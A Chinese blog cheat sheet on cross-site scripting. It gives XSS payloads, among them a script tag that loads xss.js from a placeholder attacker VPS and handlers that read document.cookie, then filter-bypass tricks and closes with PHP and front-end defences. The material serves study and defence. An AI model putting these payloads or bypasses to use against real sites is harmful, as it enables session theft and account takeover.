xss知识点总结

<script> alert(弹窗的值);</script>
<script src="http://<yourVPS>/xss.js"></script>asd

 在php中单引号中的变量是不被解析的,双引号中的变量和数组及常量是可以被解析的。

on事件大全

onactivate 当对象设置为活动元素时触发。 
onafterprint 对象所关联的文档打印或打印预览后立即在对象上触发。 
onbeforeactivate 对象要被设置为当前元素前立即触发。 
onbeforecut 当选中区从文档中删除之前在源对象触发。 
onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即触发。 
onbeforeeditfocus 在包含于可编辑元素内的对象进入用户界面激活状态前或可编辑容器变成控件选中区前触发。 
onbeforepaste 在选中区从系统剪贴板粘贴到文档前在目标对象上触发。 
onbeforeprint 对象的关联文档打印或打印预览前在对象上触发。 
onbeforeunload 在页面将要被卸载前触发。 
onclick 在用户用鼠标左键单击对象时触发。 
oncontextmenu 在用户使用鼠标右键单击客户区打开上下文菜单时触发。 
oncontrolselect 当用户将要对该对象制作一个控件选中区时触发。 
oncut 当对象或选中区从文档中删除并添加到系统剪贴板上时在源元素上触发。 
ondblclick 当用户双击对象时触发。 
ondeactivate 当 activeElement 从当前对象变为父文档其它对象时触发。 
ondrag 当进行拖曳操作时在源对象上持续触发。 
ondragend 当用户在拖曳操作结束后释放鼠标时在源对象上触发。 
ondragenter 当用户拖曳对象到一个合法拖曳目标时在目标元素上触发。 
ondragleave 当用户在拖曳操作过程中将鼠标移出合法拖曳目标时在目标对象上触发。 
ondragover 当用户拖曳对象划过合法拖曳目标时持续在目标元素上触发。 
ondragstart 当用户开始拖曳文本选中区或选中对象时在源对象上触发。 
ondrop 当鼠标按钮在拖曳操作过程中释放时在目标对象上触发。 
onfilterchange 当可视滤镜更改状态或完成转换时触发。 
onfocusin 当元素将要被设置为焦点之前触发。 
onfocusout 在移动焦点到其它元素之后立即触发于当前拥有焦点的元素上触发。 
onkeydown 当用户按下键盘按键时触发。 
onkeypress 当用户按下字面键时触发。 
onkeyup 当用户释放键盘按键时触发。 
onload 当浏览器装入对象后立即触发。 
onlosecapture 当对象失去鼠标捕捉时触发。 
onmousedown 当用户用任何鼠标按钮单击对象时触发。 
onmouseenter 当用户将鼠标指针移动到对象内时触发。 
onmouseleave 当用户将鼠标指针移出对象边界时触发。 
onmousemove 当用户将鼠标划过对象时触发。 
onmouseout 当用户将鼠标指针移出对象边界时触发。 
onmouseover 当用户将鼠标指针移动到对象内时触发。 
onmouseup 当用户在鼠标位于对象之上时释放鼠标按钮时触发。 
onmousewheel 当鼠标滚轮按钮旋转时触发。 
onmove 当对象移动时触发。 
onmoveend 当对象停止移动时触发。 
onmovestart 当对象开始移动时触发。 
onpaste 当用户粘贴数据以便从系统剪贴板向文档传送数据时在目标对象上触发。 
onpropertychange 当在对象上发生对象上发生属性更改时触发。 
onreadystatechange 当对象状态变更时触发。 
onresizeend 当用户更改完控件选onchange中区中对象的尺寸时触发。 
onresizestart 当用户开始更改控件选中区中对象的尺寸时触发。 
onscroll 当用户滚动对象的滚动条时触发。 
onselect 当当前选中区改变时触发。 
onselectstart 对象将要被选中时触发。 
onunload 在对象卸载前立即触发。

 

在具有src,href属性的一些标签中执行js代码#

支持这种js执行的标签不多,暂时就找到这几个,后续有接触到会更新

<img src="abc" onerror="alert(document.cookie);">
<input id="123" value="test" onblur="alert(document.cookie);">
<a href="javascript:alert(document.cookie);">click me!</a>
<iframe src="javascript:alert(document.cookie);"></iframe>

常用的绕过方法

#

  • 大小写绕过
  • 双写绕过
    • <oonnmouseout>=alert(/xss/);
  • 替换绕过
    • alert可用prompt,confirm,top['alert'](1)
    • ()可用 ``代替
    • 空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
    • 字符ſ(ord=383)转为大写为S
  • 编码绕过
    • url编码
    • html实体 &#x74; &#116;
    • javascript字符编码 八进制\164 十六进制\x0074
  • js的String.fromCharCode方法获得字符串 javascript
  • 注释绕过
    • JavaScript注释 // /**/
    • html注释 <!-- --> <!-- --!>
  • @符号绕过url限制http://test:test@www.baidu.com
  • 宽字节绕过等...

后端xss防御#

目前只接触到PHP,所有先简单总结下PHP常用的几个函数,后续会继续更新

  • 自己写的一系列字符串替换/正则匹配过滤语句等。。
  • htmlentities/htmlspecialchars 把& ' " < > 转换为html实体
  • strip_tags 去除空字符、html和php标记,过滤较为严格,任意的标签都会被过滤
  • addslashes 在' " \ 空字符前加上转义字符
  • mysql_escape_string 对特殊的字符后正确转义
  • mysql_real_escape_string 同上,但会考虑连接数据库设置的字符集,从php 7.0.0开始被移除
  • thinkphp中对用户的所有数据请求都会经过Request类处理。

以tp6为例,框架默认没有设置任何过滤,可在app/Request中设置过滤属性

namespace app;
class Request extends \think\Request{
	protected $filter = ['stirp_tags','htmlspecialchars'];
}

也可以在变量获取时进行过滤

Request::get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤
Request::param('username','','strip_tags'); // 获取param变量 并用strip_tags函数过滤
Request::post('name','','org\Filter::safeHtml'); // 获取post变量 并用org\Filter类的safeHtml方法过滤

前端xss防御#

xss防御重点在后端,但DOM型XSS是js的不当操作造成的,所以编写js代码时应该再对后端的数据进行检查一次之后在写到DOM树中。
前端渲染时明确告诉浏览器数据是文本、属性还是样式: .innerText,.setAttribute,.style
避免使用.innerHTML,outerHTML等上面提到的造成DOM型XSS的方法。如果要使用应当确保没有可控变量或做好过滤。
location.href,标签中的href属性中添加值时应当过滤掉javascript伪协议。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值